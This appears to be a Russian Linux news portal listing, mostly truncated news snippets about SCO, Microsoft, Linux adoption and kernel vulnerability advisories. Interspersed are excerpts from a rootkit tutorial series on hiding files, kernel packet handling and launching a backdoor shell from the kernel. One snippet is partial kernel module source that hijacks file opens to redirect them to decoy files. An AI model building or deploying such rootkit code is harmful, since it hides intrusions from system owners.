В Китае появятся новые Linux и Windows лаборатории
Hewlett-Packard и Microsoft, независимо друг от друга, заключили договоры с китайским правительством по предоставлению обору…
Hewlett-Packard и Microsoft, независимо друг от друга, заключили договоры с китайским правительством по предоставлению обору…
Программа: GNU coreutils до версии 5.2.0
Разработчики программного обеспечения Wind River Systems и Red Hat заявили на прошлой неделе о начале сотрудничества. Он…
Macromedia начнет экспериментировать с поддержкой Linux, выпуская версии своих утилит для разработчиков для open-source опер…
Фирма SCO, продолжающая войну с сообществом open-source, объявила о намерении подать в суд еще на одну крупную компанию, исп…
Компании ASPLinux и фирма «1С» объявили о начале совместной работы.
Ранее на этой неделе Microsoft без широкой огласки сообщила, что выбрала InterVideo, разработчика мультимедийного проигрыват…
Анализ хакерских атак на онлайновые службы, выполненный в январе британской консалтинговой фирмой mi2g, показал, что чаще вс…
Paul Starzetz сообщили о существовании уязвимости в коде ядра ОС Linux, в системном вызове mremap(). Прошлая уязвимость (мес…
Компания IBM и Министерство финансов ФРГ заключили крупный контракт на поставку компьютерного оборудования на базе операцион…
Главные функции:
Hi! Итак, сегодня мы поговорим о том, как собрать все изученные фишки вместе и закодить полноценный руткит. Любой руткит должен уметь делать хотя бы 3 базовые фишки:
25 января в рассылке разработчиков ядра Linux (LKML) было объявлено о возможности запуска ядра Linux как отдельного процесса…
Компания SCO не теряет надежды откусить свой кусок от пирога Linux. Будучи не в силах доказать факт кражи исходников Unix дл…
Microsoft начала еще одну атаку на своего основного врага - Linux. Компания собирается провести в ряде профессиональных ИТ-и…
Организация по развитию технологий на базе открытых исходников
Программа: Lotus Notes Domino 6.0.2 Уязвимость конфигурации обнаружена в Lotus Notes Domino на Linux системах. Локал…
Вышел новый эксплоит для уязвимости в ядре Linux.
Dan Warne на страницах электронного издания APCMag сообщает о том, что была пресечена попытка внесения вредоносного кода (бе…
Paul Starzetz и Wojciech Purczynski из польской группы iSEC Security Research сообщают об обнаружении уязвимости в ядрах Lin…
Получение и отправление сетевых пакетов в ядре. Существует несколько способов посылать и принимать пакеты в ядре. Например, используя возможности встроенного firewall'а. Но лично мне больше нравится метод инсталяции своего packet handler'а (обработчика пакетов)
Hola, amigos! Запуск обычных user-land программ из ядра. Зачем это нужно? Для того чтобы, например, запускать shell или любой другой backdoor по получению специального пакета из сети. Из ядра можно запускать любые проги, в том числе интерпретатор языка Perl для выполнения скриптов
/* Redir by Alekz Under (skleroz@pisem.net) This module allows you to redirect files in your system. */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/version.h> #include <linux/string.h> // include файлы нужные для работы с файловой системой #include <linux/slab.h> #include <linux/locks.h> #include <linux/fd.h> #include <linux/fs.h> #include <linux/smp_lock.h> struct file_operations * fop; struct file_operations orig_fop; struct nameidata kernel_nd; // структкра в которой мы будем хранить имена и иноды настоящего и обманного файлов struct redirect_struct { long int orig_ino, redir_ino; char * orig_fname, * redir_fname; struct redirect_struct *next, *prev; }; struct redirect_struct *redirects; int redirect_add(char *orig, char *redir); void redirect_del(char *orig); int wrap_open(struct inode *ino, struct file *filp); // эта функция по названию файла находит номер его inode'а long int get_inode_num(char *filename) { int err; long int inode_num; struct nameidata nd; if (path_init(filename, 0, &nd)) err = path_walk(filename, &nd); if (err) return 0; inode_num = nd.dentry->d_inode->i_ino; path_release(&nd); return inode_num; } int wrap_open(struct inode *ino, struct file *filp) { struct redirect_struct *redir; // просматриваем список редиректов // вместо связного списка можно использовать массив for(redir = redirects; redir != NULL; redir = redir->next) { // открываемый файл есть в нашем списке редиректов? if(filp->f_dentry->d_inode->i_ino == redir->orig_ino) { int ret; struct nameidata nd; // открываем обманный файл if (path_init(redir->redir_fname, 0, &nd)) ret = path_walk(redir->redir_fname, &nd); if (ret) /*error! файл не найден!*/ return -1; /* orig_fop.open(ino, filp); */ lock_kernel(); // закрываем настоящий файл dput(filp->f_dentry); // заменяем структуры так, что данные будут читаться из обманного файла, а не из настоящего filp->f_dentry = nd.dentry; unlock_kernel(); } } // вызываем настоящую open return orig_fop.open(ino, filp); } // эта функция добавляет файлы для редиректа в список int redirect_add(char *orig_fname, char *redir_fname) { struct redirect_struct *redir, *tmp; // заказываем память для структуры redir = kmalloc(sizeof(struct redirect_struct), GFP_ATOMIC); if(!redir) return -1; // память для имен файлов redir->orig_fname = kmalloc(strlen(orig_fname)+1, GFP_ATOMIC); redir->redir_fname = kmalloc(strlen(redir_fname)+1, GFP_ATOMIC); if(!redir->orig_fname || !redir->redir_fname) { kfree(redir); return -1; } strcpy(redir->orig_fname, orig_fname); strcpy(redir->redir_fname, redir_fname); // определяем номера инодов redir->orig_ino = get_inode_num(orig_fname); redir->redir_ino = get_inode_num(redir_fname); if(!redir->orig_ino || !redir->redir_ino) { kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return -1; } if(!redirects) { redirects = redir; redirects->next = NULL; redirects->prev = NULL; return 0; } // ищем место куда воткнуть структуру редиректа // код сложный, так как производится сортировка по номерам inode'в, что бы быстрее просматривать этот список в wrap_open for(tmp = redirects; tmp->next != NULL; tmp = tmp->next) { if(tmp->orig_ino < redir->orig_ino) { redir->next = tmp; if(tmp == redirects) { redir->prev = NULL; redirects->prev = redir; redirects = redir; } else { redir->prev = tmp->prev; tmp->prev->next = redir; } return 0; } else if(redir->orig_ino == tmp->orig_ino) { // уже редиректим этот файл kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return 0; } } // все номера inode'ов настоящих файлов больше redir->orig_ino - просто добавить структуру в конец списка redir->next = tmp->next; redir->prev = tmp; tmp->next = redir; return 0; } // эта функция удаляет структуру-редиректа из списка void redirect_del(char *orig) { struct redirect_struct *tmp; long int orig_ino = get_inode_num(orig); for(tmp = redirects; tmp != NULL; tmp = tmp->next) { if(tmp->orig_ino == orig_ino) { // нашли..
Хай пиплы! Эта статья посвящается классным girls: Юле, двум Аням, Наташе и Тане :-) Если ты не читал первую и вторую части, рекомендую все-таки прочитать ее перед тем как читать эту. После публикации первой части ко мне пришли письма с вопросами, поэтому я решил начать эту часть с нескольких советов по поводу часто встречающихся проблем: Если немножко не совпадают версии ядра с которым работаешь и для которого был скомпилирован модуль и insmod module.o пишет что-то типа:
Вышел тестовый эксплоит для уязвимости в функции do_brk(), существующей в Linux. Уязвимость существует в версиях ядра до 2.4…
Одним из главных направлений информатизации Бразилии должно стать широкое внедрение программного обеспечения с открытым исхо…
По информации с linux.org.ru, активистом движения Opensource Брюсом Перенсом была предложена новая версия дистрибутива Linux…
Во втором квартале 2003 года всего на 40 процентах всех настольных ПК, продававшихся в Тайланде, была установлена лицензионн…
Правительство Китая планирует выделить средства на разработку операционной системы на основе Linux, которая может составить …
Ларри Маквой сообщил о попытке изменения нескольких строчек кода в файле 'kernel/exit.c' на CVS-зеркале тестовой версии ядра…
L.A.S. Linux - некое подобие нашего RTK, система на одном CD с более чем 250 security утилитами для тестирования, администрирования, мониторинга и т.д. В ее состав например входит: etherape, mozillafirebird, argus-server, argus-client, arpwatch, bfbtester, cabextract, cflow, dlint, farpd, recover, gtkrecover, nasm, nast, strace, ltrace, sudo,valgrind, pnscan, isic, splint, sendip, scli, scanssh, rarpd, wellenreiter,router-audit-tool, httpush, bass, scansort, scanerrlog, idsa / idsaguardgtk, crank (for fun), ccrypt, ntfstools, pasmal, bruth, hlfl, less, smbfs, smstools, LinNeighborhood, snmp, snmpd, driftnet, Dillo, admsmp, admsnmp,arptool, di, hammerhead, flawfinder, foremost, md5deep, binutils, findutils,file, gall, libpst, libdbx, rda, ntreg, memfetch, stegdetect, mkpersistenthome, mkdosswap, pv, cscope, scanlogd, cgrep, bsed, vlad, warscan, zodiac, angst, hackbot, mieliekoek.pl, screamingcobra.pl, cmospwd, macchanger, vomit, atmelwlandriver, wlcardconfig, sshstart-knopp и так далее и тому подобное...
Корпорация Novell объявила о планах по покупке ещё одного лидера по производству дистрибутивов Linux — компании SuSE Li…
Компания Red Hat объявила о выпуске новой версии своего корпоративного дистрибутива операционной системы Linux. Новая ОС, по…
Теперь давай немножко поиграем с файловой системой :) Традиционный метод скрытия/ перенаправления/ etc файлов это перехват системных вызовов типа open/read/etc путем модификации syscall_table. Но простой перехват системных вызовов (любых, для любых целей) путем модификации syscall_table это вчерашний день, т.к
Часть первая. Много лет тому назад, когда наша эра только-только начиналась (когда был создан первый персональный компьютер ;-)), хакеры запускали свои бэкдоры дающие шелл и т.д. и называли эти проги названиями типа top, ps, nfsd, etc для того, чтобы сисоп когда смотрел список работающих процессов думал, что эти проги нормальные системные утилиты и игнорировал их
Глава Microsoft Стив Балмер выступая на конференции во вторник защищал свою компанию от нападок. В ответ на комментарии Gart…
Минсвязи хочет поддерживать использование компьютерных программ с открытым исходным кодом в госучреждениях и ведомствах.
В ближайшее время власти штата Массачусетс могут начать перевод своих информационных систем на программное обеспечение с отк…
Операционная система: Debian GNU/Linux unstable alias sid, Debian GNU/Linux 3.0 Debian обновил пакет marbles. Устран…
Конкурс проводится на стенде компании ALT Linux на выставке "SoftTool-2003", проходящей с 30 сентября по 4 октября…